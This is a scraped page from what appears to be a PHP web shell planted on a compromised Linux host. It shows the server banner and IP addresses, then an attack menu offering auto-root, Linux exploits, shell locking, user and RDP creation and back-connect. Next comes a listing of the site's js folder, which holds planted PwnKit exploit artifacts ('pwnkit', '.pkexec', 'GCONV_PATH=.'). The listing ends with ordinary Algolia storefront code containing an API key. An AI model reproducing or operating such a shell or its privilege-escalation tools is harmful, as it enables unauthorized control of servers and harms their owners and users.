Linux server.bornosky.com 4.18.0-477.13.1.lve.el8.x86_64 #1 SMP Thu Jun 1 16:40:47 EDT 2023 x86_64
Apache
: 95.217.200.235 | : 3.137.167.104
Cant Read [ /etc/named.conf ]
7.3.33
aggscedu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
aggscedu /
public_html /
public /
Backend /
js /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
algolia.js
8.14
KB
-rw-r--r--
animated.js
2.19
KB
-rw-r--r--
apexcharts.js
437.26
KB
-rw-r--r--
bootstrap.min.js
58.6
KB
-rw-r--r--
chart-custom.js
211.91
KB
-rw-r--r--
charts.js
141.7
KB
-rw-r--r--
core.js
931.83
KB
-rw-r--r--
countdown.min.js
3.39
KB
-rw-r--r--
custom.js
22.02
KB
-rw-r--r--
highcharts-3d.js
39.9
KB
-rw-r--r--
highcharts-more.js
76.27
KB
-rw-r--r--
highcharts.js
241.99
KB
-rw-r--r--
jquery.appear.js
1.51
KB
-rw-r--r--
jquery.counterup.min.js
1.04
KB
-rw-r--r--
jquery.magnific-popup.min.js
19.74
KB
-rw-r--r--
jquery.min.js
90.92
KB
-rw-r--r--
lottie.js
518.93
KB
-rw-r--r--
morris.js
64.5
KB
-rw-r--r--
morris.min.js
34.82
KB
-rw-r--r--
owl.carousel.min.js
43.3
KB
-rw-r--r--
popper.min.js
20.51
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
raphael-min.js
89.24
KB
-rw-r--r--
select2.min.js
68.71
KB
-rw-r--r--
slick.min.js
41.86
KB
-rw-r--r--
smooth-scrollbar.js
47.33
KB
-rw-r--r--
summernote-bs4.js
325.51
KB
-rw-r--r--
waypoints.min.js
7.86
KB
-rw-r--r--
wow.min.js
7.96
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : algolia.js
/* global instantsearch algoliasearch */ const search = instantsearch({ indexName: 'instant_search', searchClient: algoliasearch('latency', '6be0576ff61c053d5f9a3225e2a90f76'), }); search.addWidget( instantsearch.widgets.searchBox({ container: '#searchbox', placeholder: 'Search for products', }) ); /******** Clear refinements Start ******/ // 1. Create a render function const renderClearRefinements = (renderOptions, isFirstRender) => { const { hasRefinements, refine } = renderOptions; document.querySelector('#clear-refinements').innerHTML = ` <button ${!hasRefinements ? 'disabled' : ''} id="clear-result" class="btn btn-primary border-0 btn-sm mr-2"><i class="ri-refresh-line mr-0"></i></button>`; const button = document.querySelector('#clear-result'); button.addEventListener('click', () => { refine(); }); }; const customClearRefinements = instantsearch.connectors.connectClearRefinements( renderClearRefinements ); search.addWidgets([ customClearRefinements({ container: document.querySelector('#clear-refinements'), }) ]); /******** Clear refinements End ******/ // Brand List const renderRefinementList = (renderOptions, isFirstRender) => { const { items, refine } = renderOptions; const container = document.querySelector('#brand-list'); container.innerHTML = ` <ul class="list-group iq-list-style-1"> ${items .map( item => ` <li class="mb-2 mr-0"> <div class="d-flex justify-content-between"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input brand-checkbox" id="customCheck1${item.value}" data-value="${item.value}" value="" ${item.isRefined ? 'checked' : ''}> <label class="custom-control-label" for="customCheck1${item.value}">${item.label}</label> </div> <span class="badge iq-bg-primary">(${item.count})</span> </div> </li>` ) .join('')} </ul> `; [...container.querySelectorAll('.brand-checkbox')].forEach(element => { element.addEventListener('change', event => { event.preventDefault(); refine(event.currentTarget.dataset.value); }); }); }; const customRefinementList = instantsearch.connectors.connectRefinementList( renderRefinementList ); search.addWidgets([ customRefinementList({ container: document.querySelector('#brand-list'), attribute: 'brand' }) ]); // Rating Menu search.addWidget( instantsearch.widgets.ratingMenu({ container: '#rating-menu', attribute: 'rating', templates: { item(data) { return ` <a href="${data.url}" class="d-flex justify-content-between ${data.cssClasses.link}" aria-label="${data.name} & up"> <div> ${data.stars .map( isFilled => isFilled ? `<i class="ri-star-fill text-warning mr-2"></i>` : `<i class="ri-star-line text-primary mr-2"></i>` ).join('')} <span class="${data.cssClasses.label} text-primary">& Up</span> </div> <span class="badge iq-bg-primary">${data.count}</span> </a> `; }, }, }) ); search.addWidget( instantsearch.widgets.stats({ container: '#stats', }) ); search.addWidget( instantsearch.widgets.poweredBy({ container: '#powered-by', }) ); // Free Shiping const renderToggleRefinement = (renderOptions, isFirstRender) => { const { value, refine } = renderOptions; document.querySelector('#toggle-refinement').innerHTML = ` <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input brand-checkbox" id="free_Ship" value="" ${value.isRefined ? 'checked' : ''}> <label class="custom-control-label" for="free_Ship">Free shipping</label> </div> `; const input = document.getElementById('toggle-refinement'); input.addEventListener('change', event => { refine({ isRefined: !event.target.checked }); }); }; const customToggleRefinement = instantsearch.connectors.connectToggleRefinement( renderToggleRefinement ); search.addWidgets([ customToggleRefinement({ attribute: 'free_shipping', container: document.querySelector('#toggle-refinement'), // instance params }) ]); search.addWidget( instantsearch.widgets.sortBy({ container: '#sort-by', cssClasses: { root: 'iq-algolia-sort' }, items: [ { label: 'Featured', value: 'instant_search' }, { label: 'Price (asc)', value: 'instant_search_price_asc' }, { label: 'Price (desc)', value: 'instant_search_price_desc' }, ], }) ); search.addWidget( instantsearch.widgets.numericMenu({ container: '#numeric-menu', attribute: 'price', items: [ { label: 'All' }, { label: 'Less than 500$', end: 500 }, { label: 'Between 500$ - 1000$', start: 500, end: 1000 }, { label: 'More than 1000$', start: 1000 }, ], }) ); /************ Create Product Item Custom Widget Start *************/ const renderHits = (renderOptions, isFirstRender) => { const { hits, widgetParams } = renderOptions; widgetParams.container.innerHTML = ` <div class="ais-Hits iq-product"> <ul class="ais-Hits-list iq-product-list"> ${hits .map( (item, index) => `<li key="${index}" class="ais-Hits-item iq-product-item iq-card"> <div class="text-center"> <a href=""> <div class="h-56 d-flex align-items-center justify-content-center bg-white iq-border-radius-15"> <img src="${item.image}" align="left" alt="${instantsearch.highlight({ attribute: 'image', hit: item })}" /> </div> </a> <div class="card-body"> <div class="text-justify"> <a href="javascript:void(0)">${instantsearch.highlight({ attribute: 'name', hit: item }).substring(0,20)}</a> <p class="font-size-12 mb-0">${instantsearch.highlight({ attribute: 'description', hit: item }).substring(0,40)}</p> <div class="ratting"> <ul class="ratting-item d-flex p-0 m-0"> <li class="full"><i class="ri-star-fill"></i></li> <li class="full"><i class="ri-star-fill"></i></li> <li class="full"><i class="ri-star-fill"></i></li> <li class="full"><i class="ri-star-fill"></i></li> <li class="full"><i class="ri-star-line"></i></li> </ul> </div> </div> <div class="iq-product-action my-2"> <button type="button" class="btn btn-primary iq-waves-effect text-uppercase btn-sm addToCart" id="${item.objectID}"> <i class="ri-shopping-cart-line mr-0"></i> </button> <button type="button" class="btn btn-primary iq-waves-effect text-uppercase btn-sm addToWish" id="${item.objectID}"> <i class="ri-heart-line mr-0"></i> </button> <p class="font-size-16 font-weight-bold float-right">${item.price}</p> </div> </div> </div> </li>` ) .join('')} </ul> </div> `; $(document).on('click','.addToCart',function (e) { let id = $(this).attr('id') let item = hits.find(product => id === product.objectID) addToCart(item) }) $(document).on('click','.addToWish',function (e) { let id = $(this).attr('id') let item = hits.find(product => id === product.objectID) addToWish(item) }) }; const customHits = instantsearch.connectors.connectHits(renderHits); search.addWidgets([ customHits({ container: document.querySelector('#hits') }) ]); /************ Create Product Item Custom Widget End *************/ search.addWidget( instantsearch.widgets.pagination({ container: '#pagination', }) ); search.start();
Close